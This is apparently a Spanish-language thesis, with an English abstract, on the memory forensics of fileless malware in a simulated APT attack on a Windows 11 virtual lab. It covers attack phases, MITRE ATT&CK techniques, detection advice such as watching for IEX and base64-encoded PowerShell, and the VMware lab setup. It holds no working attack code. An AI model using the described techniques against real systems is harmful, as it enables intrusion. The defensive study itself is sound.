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RESUMEN

Los ataques de tipo APT que emplean malware fileless causan mayor impacto a
infraestructuras criticas desafiando los controles comunes de ciberseguridad dentro de las
organizaciones, ya que tienen la capacidad de operar en memoria sin dejar artefactos de
persistencia en disco, de esta forma evaden algunos mecanismos de deteccion de malware
tradicionales. Esta investigacion se basa en el analisis forense de memoria RAM de un
sistema Windows 11 comprometido por malware fileless en un entorno controlado, con el
objetivo de identificar procesos ocultos, técnicas de evasion y artefactos volatiles
caracteristicos de los ataques APT.

Para lo antes mencionado, se disefi6 y desplego un laboratorio virtualizado usando
VMware Workstation, mediante la simulacion de tres fases consecutivas de un ataque, que
constan de: compromiso inicial mediante PowerShell, escalamiento de privilegios con un
mensaje o paquete en memoria y persistencia a través de phishing e implantacion de un
troyano. Posterior a cada una de las fases, se realizo el volcado de memoria RAM y de disco
duro mediante la herramienta FTK Imager y fueron analizados mediante Volatility 3, autopsy
y RegRipper.

Los resultados del andlisis nos permitieron reconstruir la cadena completa de los
ataques, identificando problemas criticos en el sistema como la jerarquia de procesos
maliciosos, regiones de memoria con permisos de ejecucion anémalos, la obtencion de
privilegios de sistema completos por parte del malware y la persistencia de conexion, ademas
de la existencia de cuentas ocultas. Asimismo, se establecieron métricas de eficiencia del
analisis forense, obteniendo una tasa de deteccion que incremento del 0.58% en la fase inicial
al 2.39% en la fase de persistencia y se registraron los tiempos de analisis para cada escenario

Palabras Claves:

Analsis forense, memoria RAM, malware fileless, APT, Volatility, ciberseguridad, respuesta a
incidentes
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ABSTRACT

APT-type attacks employing fileless malware cause greater impact on critical
infrastructures, challenging common cybersecurity controls within organizations, as they have
the ability to operate in memory without leaving persistence artifacts on disk, thereby evading
some traditional malware detection mechanisms. This research is based on the RAM memory
forensic analysis of a Windows 11 system compromised by fileless malware in a controlled
environment, with the objective of identifying hidden processes, evasion techniques, and
volatile artifacts characteristic of APT attacks.

To achieve the aforementioned, a virtualized laboratory was designed and deployed
using VMware Workstation, through the simulation of three consecutive phases of an attack,
consisting of: initial compromise via PowerShell, privilege escalation with an in-memory
message or package, and persistence through phishing and trojan implantation. Following
each phase, RAM and hard disk memory dumps were performed using the FTK Imager tool
and analyzed with Volatility 3, Autopsy, and RegRipper.

The analysis results allowed us to reconstruct the complete attack chain, identifying
critical system issues such as the malicious process hierarchy, memory regions with
anomalous execution permissions, the malware's acquisition of full system privileges,
persistent connection, and the existence of hidden accounts. Likewise, forensic analysis
efficiency metrics were established, achieving a detection rate that increased from 0.58% in
the initial phase to 2.39% in the persistence phase, and analysis times for each scenario were
recorded.

Keywords:

Forensic analysis, RAM memory, fileless malware, APT, Volatility, cybersecurity,

incident response.
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CAPITULO 1:

INTRODUCCION

La ciberseguridad en la actualidad abarca un rol importante en el desarrollo
tecnoldgico, cada vez existen ataques mas sofisticados que demandan mayor eficiencia en el
proteccion de la informacion. Entre los ciberdelitos tenemos ataques sofisticados como APT
(Advances Persistent Threats) en combinacion con malware fileless cuyo objetivo principal es
ocultarse en una infraestructura por largos periodos de tiempo con el fin de robar informacion
con alto grado de importancia. El informe presentado por (Cybersecurity., 2024), menciona
que el malware fileless elude antivirus tradicionales y aprovecha las herramientas del sistema
para ejecutar cargas utiles.

De acuerdo a (S2GROUP, 2020) Los Advanced Persistent Threats (APT) son
ataques dirigidos y sofisticados que buscan acceder a informacion critica. El fileless malware
se ha convertido en una herramienta popular en estos ataques debido a su capacidad para
operar de manera oculta y persistente.

Definicién del proyecto

Los ataques APT elevan la dificultad para detectar el malware que no deja huellas en
disco y se oculta en la memoria RAM del sistema, por lo tanto, esta es la problematica que se
pretende abordar, este tipo de ataques aprovecha métodos avanzados como Living off the
land y el uso de script malicioso en PowerShell.

Este trabajo analizard la memoria RAM de un sistema operativo Windows 11
infectado con malware fileless. El estudio se llevara a cabo en un entorno controlado,
utilizando maquinas virtuales en VMware Workstation 17 Pro.

El proyecto se realiza con el propoésito de investigar los patrones de comportamiento,

procesos ocultos y evidencias en memoria que permiten detectar este tipo de amenazas, para
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ello se desarrollard un entorno practico y dindmico que permitird capturar y analizar los
volcados de memoria haciendo uso de herramientas forenses como FTK Imager, Volatility,
CAIN, Autopsy, RegRipper y Windows Registry Recovery.
1.1. Justificacion e importancia del trabajo de investigacion
Este trabajo estard orientado a respuesta a incidentes cuya funcion principal es
fortalecer las habilidades defensivas en ciberseguridad ante amenazas que cada vez dificultan
su deteccion y contencion, el malware fileless no depende de archivos ejecutables
tradicionales, hace uso de procesos legitimos del sistema ejecutdndose en la memoria RAM,
de esta forma eleva la dificultad para su deteccion.
El proyecto de investigacion proporcionara guias practicas para equipos de respuesta a
incidentes en donde se incluira recomendaciones de hardening de PowerShell y
politicas de ejecucion de scripts aportando de esta forma al desarrollo de metodologias
de andlisis forense. Ademas, permitira fijar métricas como la tasa de deteccion de
procesos ocultos y el tiempo de andlisis, con el fin de aportar resultados que sean
medibles y reproducibles.
Alcance
El desarrollo del proyecto se enfocara principalmente en malware fileless en memoria
RAM haciendo uso de un entorno virtual seguro y controlado, en el cual se podra simular
ataques APT en sistemas Windows 11, de esta forma se realizara un analisis haciendo uso de
herramientas forenses. Adicional a ello se integrara el analisis de artefactos en disco, asi como
el analisis en otras versiones de Windows de forma tedrica, con la finalidad de expandir las
metodologias de deteccion.
1.2. Objetivos
1.2.1. Objetivo General

Analizar la memoria RAM de un sistema operativo Windows 11 comprometido por
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malware fileless, mediante el uso de herramientas forenses en un entorno controlado, con el
fin de identificar procesos y técnicas ocultas en un ataque APT que permitan evaluar métricas
de eficacia del anélisis.
e [Elaborar un escenario con maquinas virtuales con el uso de VMware
Workstation con el fin de simular ataques fileless en el sistema Windows 11.
e Obtener el volcado de memoria RAM del sistema comprometido, mediante el
uso de herramientas forenses.
e Analizar el volcado de memoria haciendo uso de herramientas como Volatility
3.0, Autopsy y RegRipper.
e FEstablecer métricas de eficacia del analisis forense, tales como la tasa de
deteccion de procesos ocultos y el tiempo requerido para completar el analisis.
e Documentar el proceso y los resultados obtenidos con el fin de exponer
metodologias que permitan mitigar ataques de tipo APT.
e Realizar un flujo de respuesta a incidentes basado en los resultados obtenidos,
incluyendo recomendaciones de hardening y politicas de seguridad para
PowerShell y ejecucion de scripts.
e Evaluar de forma tedrica la aplicabilidad en otras versiones de Windows y en

artefactos complementarios como disco.
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CAPITULO 2:

REVISION DE LITERATURA

2.1. Estado del Arte

El malware fileless y ataques APT operan en memoria, han evolucionado
significativamente en la ultima década, impulsado por la creciente sofisticacion de los
atacantes y la adopcion de técnicas "Living off the Land" (LotL). A continuacidn, se presenta
una sintesis de los avances mas relevantes, organizados en ejes tematicos clave.

Un avance notable en este campo es el framework RAPID (Amaru et al., 2025), que
propone un enfoque de aprendizaje profundo consciente del contexto para la deteccion e
investigacion de APTs. RAPID aborda directamente el problema de la "fatiga de alertas"
mediante una arquitectura de dos fases: una fase de deteccion que utiliza aprendizaje auto
supervisado para modelar el comportamiento dindmico del sistema, y una fase de rastreo que
reconstruye narrativas de ataque precisas mediante el analisis de grafos de procedencia. Su
evaluacion demuestra una alta efectividad, logrando hasta un 74% de precision con un
recuerdo casi perfecto, incluso utilizando solo el 30% de los datos para entrenamiento. Este
enfoque representa la vanguardia en la deteccion automatizada de amenazas persistentes y
sirve como un marco de referencia contra el cual se pueden contrastar los hallazgos del
analisis forense manual.

Paralelamente, MIRDETECTOR (Li et al., 2025) introduce un enfoque innovador
basado en la representacion de intenciones maliciosas (MIR), argumentando que un nodo
debe considerarse malicioso no solo por cambios en sus caracteristicas estructurales, sino
también por exhibir una inclinacién hacia comportamientos maliciosos. Este sistema
tridimensional que integra caracteristicas estructurales, de atributos y de intencion logra una
precision de deteccion a nivel de nodo de hasta 99% y mejora la tasa de recuperacion

en 68%, abordando efectivamente el problema de los falsos positivos que plagan a los
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sistemas tradicionales.

En el ambito especifico del malware fileless, Argus (Singh & Tripathy, 2025) un
avance significativo al proponer un sistema de deteccién temprana que utiliza andlisis
forense de memoria en tiempo real, detectando exitosamente 4,356 de 5,026 muestras de
malware fileless, con 2,978 en fase pre-operacional. El desarrollo de estos sistemas depende
criticamente de conjuntos de datos robustos, como el Linux-APT Dataset 2024 (Karim,
2024), que proporciona registros integrales con técnicas de ataque modernas mapeadas contra
MITRE ATT&CK.

Mientras que estos sistemas automatizados representan la vanguardia en deteccion de
APTs y movimiento lateral, el analisis forense de memoria tradicional proporciona la
validacién empirica granular. Nuestro trabajo se situa en esta capa fundamental, utilizando un
escenario controlado en Windows 11 para realizar un analisis forense de memoria que
complementa y valida los hallazgos de estos sistemas, contribuyendo especificamente a la
comprension de técnicas fileless y su movimiento lateral en entornos Windows 11 modernos.

2.2. Marco Teorico
2.2.1. Introduccion a la ciberseguridad y ataques APT

La ciberseguridad constituye un campo interdisciplinario que abarca los métodos,
procesos y tecnologias destinados a proteger la informacion, los sistemas y las redes frente a
amenazas digitales. Su objetivo principal radia en garantizar los tres pilares fundamentales de
la seguridad: confidencialidad, integridad y disponibilidad, junto con atributos
complementarios como la autenticidad, trazabilidad y el no repudio (Larriva-Novo et al.,
2023).

En un entorno cada vez mas digitalizado, la ciberseguridad se erige como un
componente esencial para la proteccion de infraestructuras criticas, datos personales y activos

estratégicos tanto en el &mbito publico como privado. En el ambito de la ciberseguridad se



Andlisis forense de malware fileless en un ataque APT 6

subdivide en diversas areas, tales como la seguridad de redes, la proteccion de sistemas
operativos, la seguridad en aplicaciones, la gestion de identidades y accesos, la seguridad en
la nube y la respuesta ante incidentes (Rincon Diaz, 2023).

Ademas, el desarrollo de la inteligencia de amenazas ha permitido la deteccion
temprana y el andlisis de ticticas técnicas y procedimientos empleados para actores
maliciosos. Esta inteligencia resulta esencial para identificar patrones de ataque y fortalecer
mecanismos de defensa proactiva. Las APT se caracterizan por su capacidad de infiltrarse en
infraestructuras especificas, utilizando vulnerabilidades de dia cero (zero-day), escalando
privilegios evadiendo controles de seguridad tradicionales y exfiltrando informacion sensible
con un alto grado de sigilo. Una de las variantes mas complejas dentro de los ataques APT es
el uso de programa maligno fileless, el cual opera directamente en la memoria del sistema sin
requerir archivos maliciosos en el disco duro. Esta técnica aprovecha la herramienta legitimas
del sistema operativo, como PowerShell, WMI, lo que le permite evadir deteccion por
antivirus convencionales (Sevilla Hidalgo, 2024).

El malware fileless representa una evolucion significativa en las tacticas de ataque,
porque minimiza las huellas forenses y complica considerablemente las tareas de deteccion y
respuesta. De acuerdo a (Martin Liras, 2023) existen fases de un ataque APT, en la Tabla 1
se detalla cada Fase.

Tabla 1

Fases de un ataque APT

FASES DETALLE

Reconocimiento recopila informacién del objetivo mediante OSINT, escaneo de
puertos o analisis de redes
Intrusion inicial aprovecha técnicas como phishing para acceder al sistema

Persistencia Instalando puertas traseras o utiliza malware fileless
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Escalamiento de Amplia su control interno utilizando herramientas legitimas

privilegios

Comando y control. Comunicacion con servidores remotos para ejecutar ordenes o
exfiltrar datos

Exfiltracion y Se extrae la informacion y se eliminan rastros para evadir la

encubrimiento deteccion forense

2.2.2. Definicion de APT
De acuerdo a Amenaza persistente avanzada (APT), utilizan métodos de pirateria
informatica que permiten acceder a un sistema y permanecer por un largo periodo de tiempo,
los atacantes APT generalmente acceden a grandes organizaciones o incluso Paises para
exfiltrar datos de forma gradual y sistematica los tiempos de permanencia suelen ser periodos
muy largos (FORTINER, 2025). Es un ciberataque encubierto a una red informatica en el que
el atacante obtiene y mantiene acceso no autorizado a la red objetivo, permaneciendo
desapercibido durante un periodo considerable. Durante el periodo entre la infeccion y la
remediacion, el hacker suele monitorear, interceptar y retransmitir informacion y datos
confidenciales unauthorized access to a targeted network. APTs use social engineering tactics
or exploit vulnerabilities to infect a system, and can remain unnoticed for a significant time
period.(CISCO, 2025)
2.2.3. Casosy grupo APT
En 2024, una importante brecha de seguridad vio a Salt Typhoon infiltrarse en
proveedores de servicios de internet (ISP) estadounidenses como AT&T y Verizon El grupo
accedi6 de manera indebida a sistemas de escuchas telefonicas con autorizacion judicial,
logrando obtenercomunicaciones confidenciales sin permiso. En noviembre de 2024, sus

actividades se extendieron a T-Mobile, afectando los registros de llamadas y los metadatos de
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los usuarios. Estas vulneraciones provocaron alarma en términos de seguridad nacional, dado
que posibilitaron escala que los atacantes supervisaran y manipularan las comunicaciones a
gran (SOCRadar, 2025).

Lazarus aprovecho la vulnerabilidad de dia cero CVE-2024-4947 de Google Chrome
durante su campafia DeTankZone, una operacién avanzada que engafi6 a operadores de
criptomonedas para que instalaran software malicioso. Esta explotacion facilité al grupo el
robo de informacion financiera sensible, consolidando su fama como una de las principales
organizaciones dedicadas al cibercrimen.

Desde el afio 2014, se menciona que el grupo APT38 ha generado operaciones en mas
de 16 organizaciones distintas de alrededor de al menos 11 paises, de manera simultanea por
lo que se consolida como un grupo con recursos extensos (Ramirez, 2018).

El Grupo Lazarus, una APT respaldada por el gobierno de Corea del Norte, es
reconocido como uno de los ciberadversarios mas destacados, famoso por sus actividades de
espionaje, robo de fondos y ataques disruptivos. Se le vincula a la Oficina General de
Reconocimiento (RGB) de Corea del Norte y ha estado operando desde, al menos, 2009,
llevando a cabo acciones que se alinean con los objetivos estratégicos y econdmicos del pais
(SOCRadar, 2025).

APT29 es un grupo de ciberamenazas vinculado al Servicio de Inteligencia Exterior de
Rusia (SVR). Activo desde, al menos, 2008, ha dirigido sus ataques principalmente a redes
gubernamentales en Europa y paises miembros de la OTAN, asi como a institutos y centros de
investigacion. Se le atribuye la intrusion en el Comité Nacional Demdcrata durante el verano
de 2015 (MITRE ATT&CK, 2025).

2.2.4. Fundamentos de analisis forense digital
La informatica forense es una rama de la ciberseguridad orientada a la identificacion,

recoleccion, preservacion, andlisis y presentacion de evidencias digital, con el fin de
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esclarecer incidentes informaticos o delitos tecnoldgicos. Su metodologia busca garantizar
que toda evidencia obtenida sea valida y admisible en procesos judiciales o administrativos
(Mozo Rivera & Ardila Contreras, 2022). Esta disciplina combina conocimiento técnicos
legales y procedimentales que permiten reconstruir los eventos asociados a un ataque
asegurando la integridad y trazabilidad de los datos.

Principios de la informatica forense, dentro de la informética forense se establece un
marco de actuacion que puede ser utilizado para la guia de cumplimiento del analisis forense
de acuerdo a (Ramos Garcia, 2022) se detallan los siguientes principios:

Integridad de la evidencia, los datos originales no deben alterarse durante la
adquisicion ni el andlisis. Para poder garantizarlo se emplean funciones hash que permiten
verificar la autenticidad de las copias.

Cadena de custodia, cada accion sobre la evidencia debe estar documentada indicando
quien lo manipulo, cuando y en qué condiciones, para mantener su validez legal.

Reproducibilidad y documentacion, los procedimientos deben ser detallados y
verificables por otros peritos, asegurando resultados consistentes.

Autenticidad y legitimidad, la evidencia debe poder relacionarse de manera confiable
con el sistema o usuario investigado, respetando los maros legales aplicables.

Confidencialidad y seguridad, las evidencias deben almacenarse y trasladarse de forma
segura, evitando accesos no autorizados o perdida de la informacion.

2.2.5. Memoria RAM y su importancia en lo forense
e Estructura de la memoria RAM

Desde una perspectiva forense, la memoria RAM no se analiza como un simple
almacén de datos, sino como un mapa dindmico de la ejecucion del sistema operativo. En
sistemas modernos como Windows 11, la gestion de memoria es compleja y se basa en la

Memoria Virtual (Betancor Olivares, 2020).
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El sistema operativo abstrae la memoria fisica para crear un espacio de direcciones
virtuales para cada proceso. Esto es crucial porque el malware no se encuentra alojada en una
direccion estatica, sino una direccion virtual asignada. Si la memoria RAM se llena, el
sistema mueve paginas al disco duro. Por lo tanto, el andlisis forense de memoria debe
considerar parte del analisis del estudio de memoria y disco (Marcelo Ardiles & Incappueno
Ttito, 2024).

Para la gestion de memoria el VAD es una estructura de arbol binario que el kernel de
Windows utiliza para gestionar memoria de cada proceso. Adicional lleva el registro de que
rangos de memoria estan reservados, confirmados o libres, y si son ejecutables, de lectura o
escritura (Sheng-Hao, 2023).

La deteccion en el andlisis forense moderno no depende solo de las firmas de antivirus
sino también de la identificacion de indicadores de Compromiso (Garcia, 2014) y (Carboné
Mejias, 2021). Estos son artefactos digitales que evidencian una intrusion con alta
probabilidad.

Red: Direcciones IP sospechosas, dominios maliciosos (C2), URLs de descarga de
malware y firmas en el trafico de red.

Host: Hashes de archivos (MD5, SHA256) conocidos por ser maliciosos, claves de
registro modificadas, nombres de archivos extrafios en directorios del sistema y procesos
inyectados en memoria.

Comportamiento: Patrones de actividad anomala, como accesos a horas inusuales o

uso de herramientas administrativas legitimas (PowerShell, PsExec) para fines maliciosos.

2.2.6. Artefactos forenses en memoria volatil:
e Los artefactos son remanentes de datos que persisten en la memoria y

sirven como evidencia al momento de realizar un analisis forense (Betancor
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Olivares, 2020).

e Procesos y listas enlazadas: En el kernel de Windows, cada proceso esta
representado por una estructura de datos llamada EPROCESS, estas
estructuras estan conectadas en una lista doblemente enlazada
ActiveProcessLinks.

e (Codigo inyectado y Reflective DLLs: Fragmento de codigo ejecutable en
regiones de memoria marcadas cmo RWXm que no estan respaldadas por
un archivo en el disco, también se buscan cabeceras flotando en la memoria
del head o stack de un proceso legitimo.

e Conexiones de Red: Se pueden recuperar conexiones activas, cerradas o en
espera, vinculando una direccion remota C2, con un proceso especifico y la
hora de la conexion. Esto persiste en memoria mucho después de que la
conexion se cierra.

e Historial de Comandos: La memoria del proceso conhost.exe o las
estructuras internas de powershell.exe almacenan buffers con el historial de
comandos ejecutados, scripts codificados en Base64 y salidas de consola
que nunca se guardaron en logs de disco.

e C(laves y Cifrado y Credenciales: Contraseias en texto plano, hashes
NTLM, tickets de kerberos, etc, residen en la memoria para que el sistema
pueda usarlas rapidamente (Guerra, 2022).

2.2.7. Framework MITRE ATT&CK para analisis de técnicas de ataque
MITRE ATT&CK en su marco clasifica el comportamiento y mapean las tacticas,
técnicas y procedimientos (TTP), incluyendo técnicas como T1059 (Command and Scripting
Interpreter), T1027/T1027.011 (Obfuscated Files or Information: Fileless Storage),

persistencia via WMI, registro y tareas programadas.
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Desarrollado por esta organizacion sin fines de lucro en EE.UU., difiere de la cadena
de eliminacion cibernética al enfocarse en objetivos tacticos, no cronologia, facilitando
analisis comparativos de amenazas.

Mantiene matrices para entornos empresariales, moviles e ICS, con mitigaciones y
deteccion. Permite mapear TTPs para atribucion, inteligencia de amenazas y modelos de
deteccion automatizados. (Lee et al., 2025).

Segtin el framework MITRE ATT&CK, un APT usa fileless malware normalmente
para las siguiente tactica y técnicas:

e TAO0002: Ejecucion — T1059.001(PowerShell), T1047 (Windows
Management Instrumentation).

e TAO0005: Evasion de Defensa — T1027.011(Fileless storage), T1078 (Valid
Accounts).

e TAO0003: Persistencia — T1053 (Schedule Task/Job), T1547.001 (Registry
Run Keys).

e TAO0004: Escalamiento de privilegios — T1134 (Injection Process).

e TAO0010: Exfiltracion — T1041 (Exfiltration Over C2 Channel).

2.2.8. Herramientas y técnicas de andlisis forense de RAM
El analisis forense de la memoria volatil es una parte critica en la investigacion de
incidentes, ya que permite identificar amenazas avanzadas, particularmente el malware
fileless. Este tipo de malware opera exclusivamente en la RAM, evitando intencionalmente
dejar rastro de su existencia en el disco duro, lo cual lo convierte en una potente herramienta
para evadir la deteccion tradicional de malware. Debido a esto, el andlisis de dicha amenaza
permite acceder a informacion valiosa como listas de procesos activos, modulos cargados,

conexiones de red establecidas y claves de registro en memoria, facilitando asi la
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identificacion de patrones de ejecucion asociados a las APT (Case & Richard, 2017)

La arquitectura moderna y la complejidad de las estructuras internas en sistemas
operativos como Windows 11 requieren métodos de adquisicion de memoria extremadamente
precisos para garantizar la integridad y la utilidad de la evidencia. La fase de adquisicion se
ejecuta tipicamente utilizando herramientas especificas disefiadas para la extraccion de
evidencia volatil en caliente, como FTK Imager. Esta herramienta es fundamental, ya que
permite obtener una imagen binaria integra de la memoria del sistema comprometido,
preservando su estado volatil antes de que sea alterado o sobrescrito.

Al obtener la imagen de la memoria RAM, el andlisis se realiza a través de un
framework reconocido, como lo es Volatility. Este framework se ha consolidado como una
herramienta forense esencial, permitiendo reconstruir las estructuras internas del kernel de
Windows, inspeccionar las listas de procesos activos y detectar inyecciones de codigo
malicioso, asi como rastrear la actividad de herramientas legitimas, como PowerShell, que
son utilizadas por el atacante (Carvey, 2014).

En la lucha contra los ataques APT, donde la persistencia se basa en técnicas de
evasion y volatilidad, el analisis de RAM no es solo un método complementario, sino uno
esencial para reconstruir la secuencia de actividades del atacante, permitiendo identificar cual
fue su ruta de acceso y comandos ejecutados que serian invisibles mediante la examinacion
unicamente del sistema de archivos.

2.2.9. Indicadores de compromiso y reconstruccion de ataques APT

Los Indicadores de Compromiso son sefales visibles que permiten detectar
comportamientos maliciosos dentro de un sistema. En el caso de los ataques APT, estos
indicadores son muy importantes e incluyen cosas como procesos extrafios que permanecen
en la memoria, cambios temporales en claves del registro, médulos inyectados en procesos

legitimos o patrones de comunicacion relacionados con la infraestructura de comando y
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control. La importancia de estos IoC estd en analizarlos dentro de un enfoque tactico y
estratégico, lo cual ayuda a reconstruir cada etapa de la intrusion (Hutchins et al., 2011)

Los ataques fileless presentan un reto importante porque sus Indicadores de
Compromiso son muy volatiles y duran poco tiempo. Por eso es necesario correlacionar bien
los eventos en el tiempo y hacer un analisis forense detallado de la memoria. Esto ocurre
porque el atacante usa herramientas legitimas del sistema, como PowerShell, con la intencion
de evitar los métodos de deteccion tradicionales. Debido a esto, el analisis debe centrarse en
revisar estructuras internas de la memoria, como los handles, pipes extrafios y rastros de
gjecucion temporal. Ademas, el uso de marcos como MITRE ATT&CK es fundamental para
identificar y organizar las técnicas empleadas por grupos APT, tales como la inyeccion de
procesos, la creacion de mecanismos de persistencia y los movimientos laterales silenciosos
(Gibert et al., 2020).

La reconstruccion de un ataque implica examinar evidencia dispersa en memoria,
correlacionarla con actividad de red y analizar patrones de comportamiento. En sistemas
Windows 11, este proceso resulta critico debido a los mecanismos modernos de seguridad que
pueden ocultar parcialmente la actividad del atacante (Algar Lopez, 2023).

2.2.10. Buenas practicas y recomendaciones de ciberseguridad

Se reconoce que para mitigar eficazmente las APT y las amenazas fileless se necesita
una estrategia que combine controles técnicos, buenas practicas organizativas y monitoreo
constante. Por esto, los sistemas deben incluir mecanismos de deteccion capaces de identificar
comportamientos andomalos, especialmente el uso malicioso o inusual de herramientas del
sistema como PowerShell (Scarfone & Mell, 2007).

Ademas, marcos internacionales, como el Framework for Improving Critical
Infrastructure Cybersecurity del NIST (2018), sefialan que practicas como gestionar las

vulnerabilidades de forma proactiva, segmentar la red y aplicar rigurosamente el principio de
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menor privilegio son claves para reducir la superficie de ataque. Por su parte, algunas
investigaciones subrayan que el monitoreo constante con soluciones como SIEM es esencial
para identificar con rapidez actividades de inyeccién de memoria y comportamientos
inusuales vinculados a los APT (Gibert et al., 2020).

De acuerdo a (Nasi, 2019) Para la deteccion, mitigacion y buenas précticas en
entornos Windows 11 apunta a diferentes lineas de defensa que se puede implementar frente a
ataques APT con malware fileless como son:

¢ Fortalecimiento de controles en PowerShell
o Activar el registro avanzado dentro de PowerShell como son: Script block
loggin y transcripcion.
o Restringir politica de ejecucion y realizar la firma de scripts internos.
o Monitoreo del uso de IEX, comandos codificados en base64 y la ejecucion
remota de WinRM.
e Monitoreo con Sysmon
o Desplegar Sysmon para la verificacion de ID 1 - Creacion de procesos
(muestra el proceso actual y el proceso padre, lineas de comando, hashes de
archivos y GUID’s para correlacion de eventos), ID — 3 Conexiones de red
(registra las conexiones de red, proceso de origen, IP’s, puertos), ID 11 —
Creacion de archivo (detecta cambios en la creacion de archivos), ID 12, 13,
14 — Cambios en el registro (Monitorea la creacion, eliminacion y
modificacion de claves de registro), ID 22 — DNS Query (Consulta de DNS).
o Correlacion de eventos con reglas sigma. (https://learn.microsoft.com/es-
es/sysinternals/downloads/sysmon)

e ASR (Attack Surface Reduction) y AMSI (Interfaz de Analisis Antimalware).
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o Habilitar reglas ASR que permitan el bloqueo de ejecucion de macros, scripts
maliciosos y comportamientos tipicos de droppers.

o Implementar AMSI con el software antivirus para analizar scripts y comandos
(PowerShell, VBScript, JScript, macros) en tiempo real antes de su ejecucion.
(KesemSharabi, 2025)

e Monitoreo de persistencia por fileless

o Monitorea periddicamente claves Run/RunOnce, tareas programadas criticas y

suscripciones WMI, en buisqueda de scripts en ubicaciones inusuales.
e Capacidades de especialistas forenses

o Tener capacidades dentro de la organizacion de especialistas forenses que
permita establecer procedimientos y herramientas para analisis de memoria
(WinPmem, Dumplt, MAGNET RAM Capture, Collect-MemoryDump).
(Ashutosh, 2019)

o Mantener entornos de laboratorios aislados y herramientas actualizadas
(Volatility, Rekall, Redline).

¢ Implementar un correlacionador de eventos (SIEM) y threat hunting

o Centralizar el monitoreo y la correlacion de eventos incluido PowerShell y
Sysmon en un sistema SIEM.

o Ejecutar tareas de threat hunting de manera recurrente con herramientas como:
Chainsaw y reglas Sigma centras de tacticas, técnicas y procedimientos
(TTP’s) enfocadas a ataques fileless (securedebug, 2025).

¢ Concientizacion y hardening de los sistemas

o Establecer politicas de last privilege e implementar una adecuada

segmentacion de red.

o Actualizacion de parches de vulnerabilidades conocidas para acceso inicial.
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o Capacidades dentro de los especialistas para reconocimiento de ataques
mediante spear-pishing y uso de macros para la ejecucion de codigo malicioso

(SEARCHINFORM, 2025).
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CAPITULO 3:
DESARROLLO
3.1. Topologia de Red
En la Figura 1 se observa la topologia de red disefiada que se implementara en
VMware Workstation para el proyecto de investigacion. La red esta segmentada por tres
subredes:
e RED A (30.30.30.0/24): Conformada por la maquina Kali Linux, dicha maquina
representard el atacante.
e RED B (10.10.10.0/24): Enlace de interconexion entre Routers
e RED C (40.40.40.0/24): La red esta compuesta por el servidor y la maquina Windows
11 que actuard como victima en el cual se realizaran las respectivas pruebas de taque
fileless y analisis forense

Figura 1

Configuracion de Red y Topologia

VMware Workstation 17PRO

— 2 RED B >
o ~ 10.1010.0/24 3 Sran

Internet |2
30.30.30.0/24 REDC

‘ RED A 40.40.40.0/24

KALI LINUX - APT

Servidor

En esta topologia la idea es aislar el trafico en donde se simule un entorno corporativo
segmentado. La conexidn hacia internet en este caso permite representar un canal externo

desde donde el atacante puede establecer comunicacion con el centro de control.
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3.2. Entorno virtual

3.2.1.  Configuracion de redes virtuales

Figura 2

Configuracion de redes virtuales en VMware Workstation

I

@& Virtual Network Editor
Mame Type External Connection Host Connection DHCP Subnet Address
RED A Host-only - Connected = 30.30.30.0
RED B Host-only - Connected - 10.10.10.0
RED C Host-only - Connected - 40.40.40.0
VYMnets MAT NAT Connected Enabled 192.168.183.0

La Figura 2 muestra la configuracion de las redes virtuales que se utilizaran para
el escenario de simulacion

3.2.2. VMware Workstation

Figura 3

Interfaz de VMware Workstatio 17 Pro.

WORKSTATION PRO 17

» support contract should follow the standard process for enterprise support. Altornativety,
wan ns. For mors In

Inity Forums o connect with peers and sxplore potential solutio: Wormation,

us 1 o
plaase refer to the ©
Additional Information
Host name: DESKTOP-SP2HT 6K
Memary: 15736 MB

Para descargar el instalador ingresamos a Broadcom, cuya plataforma proporciona un
enlace directo para descargar VMware Workstation, para el proyecto de investigacion se hara
uso de la version 17.6.2.

En la Figura 3 se observa la interfaz del software de virtualizacion, para abrir el

software se debe ejecutar el instalador, posterior a ello se debera otorgar los permisos


https://support.broadcom.com/group/ecx/productdownloads?subfamily=VMware%20Workstation%20Pro&freeDownloads=true
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necesarios y seguir el proceso de instalacion. Adicional a ello en la imagen se sefiala la
version instalada para el trabajo de investigacion.
3.2.3. WINDOWS 11
Para la descarga del archivo ISO de Windows 11, hacemos uso de la pagina oficial de
Microsoft como se observa en la Figura 4.

Figura 4

Pagina oficial de Microsoft para la descarga del archivo ISO Windows 11

- :
B Microsoft | Descarga de software  windos Wiesidaves sneiclar Bresies 16s bl - [

T epeitn parm b

que puedan alectsr 8 1u dispositive. Si estis sjpcutsndo una

Para el proceso de instalacion, se crea una nueva maquina virtual, seleccionamos el
archivo ISO descargado como se observa en la Figura 5 posterior a la seleccion se realizan
las configuraciones de las caracteristicas de la maquina virtual, la configuracion se observa en
la Figura 6 , se define una memora RAM de 8 GB por concepto de instalacion, una vez
finalizada se actualizara la configuracion a 4 GB y en el disco duro se asigna un total de 64

GB.

Figura §

Seleccion de imagen 1SO para Windows 11

WORKSTATION PRO 17

Guost Operating System Installation
# virtual machine is ke & physical computer; it needs an opersating
systam. How will you inetall the Guast operating System?

Install fram:

Mo drves avallable

8 Instabler disc imoage file (iso):

| €:\Usera\kevin\Dasktop\LABORAT ORIO- APT Window

[I] Windows 11 %64 detected

31 will install the oparating system iater,

Tha virtual machine will be created with a blank hard disk.
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Figura 6

Configuracion de la maquina virtual Windows 11

Hardware Options

Device Summary Device status

[ Memary 8 GB Connected

% Processors 4 Connect at power on

L Hard Disk (NVMe) 64 GB

(=) CD/DVD (SATA) Using file C:\Users\kevin\Des... Metwork connection

55 Metwork Adapter Customn (RED C) () Bridged: Connected directly to the physical network

[/ USB Controller Present Replicate physical network connection state

] Sound Card Auto detect

[Ipisplay Auto detect (D) NAT: Used to share the host's IP address

EELSDTrusted Platform Mo... Present () Host-only: A private network shared with the host
(@) Cictame Snarifie virtial nehanrk

21

Una vez realizada las configuraciones se enciende la maquina virtual y se configuran

las caracteristicas del sistema, seleccionamos el idioma espafiol, el formato y hora espafiol

(Ecuador) y la configuracion del teclado a Latinoamericano, en este caso dicha configuracion

depende del ordenador que se utilice, las configuraciones realizadas se observan en las Figura

7 y Figura 8 respectivamente.

Figura 7
Idioma y formato de hora para Windows 11

"5 Configuracien de Windows 11

Seleccionar configuracion de idioma

Idioma para instalar Espafiol (Espaiia, internacional) ~
Formato de hora v Espafiol (Ecuador) —r
moneda
.
Figura 8

Configuracion del teclado en Windows 11

41 Configuracion de Windows 11

Seleccionar configuracion de teclado

Teclado o método de entrada Latinoamérica w
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Posterior a ello se instala el sistema sin clave del producto y se selecciona la
version Windows 11 Pro, seguido de ello se empieza con el proceso de instalacion
